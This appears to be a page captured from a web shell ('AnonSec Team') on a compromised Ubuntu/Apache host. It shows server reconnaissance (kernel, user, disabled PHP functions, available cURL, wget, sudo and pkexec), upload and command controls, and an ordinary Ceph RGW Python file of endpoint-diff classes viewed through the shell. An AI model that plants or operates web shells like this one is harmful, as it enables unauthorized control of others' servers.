NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-181-generic #191-Ubuntu SMP Fri May 22 19:09:02 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/lxd/40911/lib/python3/dist-packages/ceph/rgw/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /snap/lxd/40911/lib/python3/dist-packages/ceph/rgw/diff.py
class ZoneEPs:
    def __init__(self):
        self.endpoints = set()

    def add(self, ep):
        if not ep:
            return

        self.endpoints.add(ep)

    def diff(self, zep):
        return list(self.endpoints.difference(zep.endpoints))

    def get_all(self):
        for ep in self.endpoints:
            yield ep


class RealmEPs:
    def __init__(self):
        self.zones = {}

    def add(self, zone, ep=None):
        if not zone:
            return

        z = self.zones.get(zone)
        if not z:
            z = ZoneEPs()
            self.zones[zone] = z

        z.add(ep)

    def diff(self, rep):
        result = {}
        for z, zep in rep.zones.items():
            myzep = self.zones.get(z)
            if not myzep:
                continue

            d = myzep.diff(zep)
            if len(d) > 0:
                result[z] = myzep.diff(zep)

        return result

    def get_all(self):
        for z, zep in self.zones.items():
            eps = []
            for ep in zep.get_all():
                eps.append(ep)
            yield z, eps


class RealmsEPs:
    def __init__(self):
        self.realms = {}

    def add(self, realm, zone=None, ep=None):
        if not realm:
            return

        r = self.realms.get(realm)
        if not r:
            r = RealmEPs()
            self.realms[realm] = r

        r.add(zone, ep)

    def diff(self, rep):
        result = {}

        for r, rep in rep.realms.items():
            myrealm = self.realms.get(r)
            if not myrealm:
                continue

            d = myrealm.diff(rep)
            if d:
                result[r] = d

        return result

    def get_all(self):
        result = {}
        for r, rep in self.realms.items():
            zs = {}
            for z, eps in rep.get_all():
                zs[z] = eps

            result[r] = zs

        return result

Anon7 - 2022
AnonSec Team